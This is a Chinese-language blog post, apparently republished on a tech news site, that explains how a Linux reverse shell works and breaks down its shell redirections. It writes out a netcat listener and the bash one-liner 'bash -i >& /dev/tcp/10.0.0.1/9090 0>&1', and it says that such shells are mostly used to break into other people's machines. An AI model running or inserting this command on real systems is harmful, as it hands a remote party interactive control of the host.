Linux反弹shell命令解析
今天在看spark stream的sample样例的时候看到linux的万金油命令nc。搜索相关的内容突然发现一个很好玩的用处就是反弹shell.下面我们就来讲讲反弹shell
1. 什么是反弹shell
简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。
2. 反弹shell的用途
这个反弹shell大部分用途是用来侵入别人的主机。就是因为感觉很厉害的样子,所以才来研究这家伙
3. 反弹shell操作步骤
3.1. 在本机开启端口9090
nc -lk 90903.2. 在需要被控制的机器上执行如下两种命令中的一种即可
bash -i >& /dev/tcp/10.0.0.1/9090 0>&13.3. 在本机刚才执行nc -lk 9090命令行下面输入需要被控制的主机的命令即可
4. 原理
A主机开启9090端口的tcp服务 B主机连接到A主机的9090的tcp服务 A主机通过tcp服务把命令发到B主机 B主机读取命令并且在bash中执行 B主机把执行结果发给A主机这样就可以在A主机中'玩弄'B主机了
下面重点来了
我们看这个操作其实还是蛮简单的,但是我们不能只局限于表面。我们需要去了解它的原理
其实nc -lk 9090命令没什么可说的,百度google一搜就出来了。我们今天要去解释的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。这条命令在google也没搜出来什么结果。所以只能自己加夜班搞了。
inux shell下常用的文件描述符是:
标准输入 (stdin) :代码为 0 ,使用 < 或 << ; 标准输出 (stdout):代码为 1 ,使用 > 或 >> ; 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。首先我们把这个命令拆解一下
bash -i # 这个也不知道说啥 >& # 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>&1` /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口 0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档其实前面3个命令组合在一起很好理解,就是把这个bash下的所有输出都发送到 10.0.0.1:9090。这个大家可以自己操作一下,去掉后面的 0>&1。
我们在命令里面写 2>&1都很好理解,就是把error重定向到stdout。但是0>&1好像不太好理解,我们看下文件描述符
这里看到的是2>&1就是把文件描述符2对应的设备改成了文件描述符1对应的设备。那么同理 0>&1就是把 0对应的设备改成的1对应的设备,那也就是socket。这就表明了 stdin就是从socket中读取数据,然后再执行命令,把bash的命令行返回内容通过stdout发到socket。
其实这些内容都可以在bash的man pages里面找到
文档里面写的很清楚 n<&word 是吧word复制给n, n>&word是吧word复制给n。
所以这里写 0<&1 或者是 0>&1都是可以的,只要把文件描述符1对应的设备复制给文件描述符0就可以了
参考文章 https://edu.aqniu.com/article/67
点赞 0
官方微博/微信

每日头条、业界资讯、热点资讯、八卦爆料,全天跟踪微博播报。各种爆料、内幕、花边、资讯一网打尽。百万互联网粉丝互动参与,TechWeb官方微博期待您的关注。

想在手机上看科技资讯和科技八卦吗?
想第一时间看独家爆料和深度报道吗?
请关注TechWeb官方微信公众帐号:
1.用手机扫左侧二维码;
2.在添加朋友里,搜索关注TechWeb。
为您推荐
三星显示正与Ulvac就8.5代OLED面板生产线沉积设备进行价格谈判
外媒:台积电三大客户苹果、AMD和英伟达罕见同时调整订单量
Meta大幅削减招聘计划 扎克伯格警告为衰退做好准备
撤回美股招股书不足一月 Soul转战港股IPO 三年累计净亏超22亿
机构数据显示618期间共卖出1400万部智能手机 近半数是iPhone
Cruise道歉 自动驾驶出租车故障造成旧金山街道堵塞数小时
马斯克隧道公司Boring Company拉斯维加斯环线首个客运站曝光
美银分析师:未来三年内特斯拉美国市场份额暴跌
特斯拉申请扩建得克萨斯超级工厂 再建占地50万平方英尺厂房
更多
- 蔚小理公布6月成绩单:交付均过万 蔚来追上大部队
- 锚定千亿云计算新赛道 爱捷云加码布局分布式云
- 小米12S系列喜迎充电黑科技 搭载澎湃P1/G1两颗自研芯片 内置新一代钴酸锂电池
- 饿了么联合飞猪发起“+1袋”露营垃圾处理公益项目
- QNAP推出TS-664 Intel Celeron四核心处理器双2.5GbE网口NAS
- 赛迪顾问2021年中国PaaS市场:亚马逊云科技入围领导者地位
- 京东超市玩具乐器消费趋势报告:IP潮玩、盲盒热度不减 低线城市潮玩用户增长近两倍
- 腾讯收购的短视频平台VUE VLOG宣布将停止运营
- 奈雪的茶上市一周年 实现五大增长自研自动化设备投入使用
- 哔哩哔哩:双重主要上市转换建议获股东周年大会通过
更多
- 三星显示正与Ulvac就8.5代OLED面板生产线沉积设备进行价格谈判
- 外媒:台积电三大客户苹果、AMD和英伟达罕见同时调整订单量
- Meta大幅削减招聘计划 扎克伯格警告为衰退做好准备
- 机构数据显示618期间共卖出1400万部智能手机 近半数是iPhone
- Cruise道歉 自动驾驶出租车故障造成旧金山街道堵塞数小时
- 马斯克隧道公司Boring Company拉斯维加斯环线首个客运站曝光
- 美银分析师:未来三年内特斯拉美国市场份额暴跌
- 特斯拉申请扩建得克萨斯超级工厂 再建占地50万平方英尺厂房
- FCC批准SpaceX在船舶、飞机等移动工具上使用星链卫星互联网
- 苹果在韩国开放应用程序三方支付 仍抽佣26%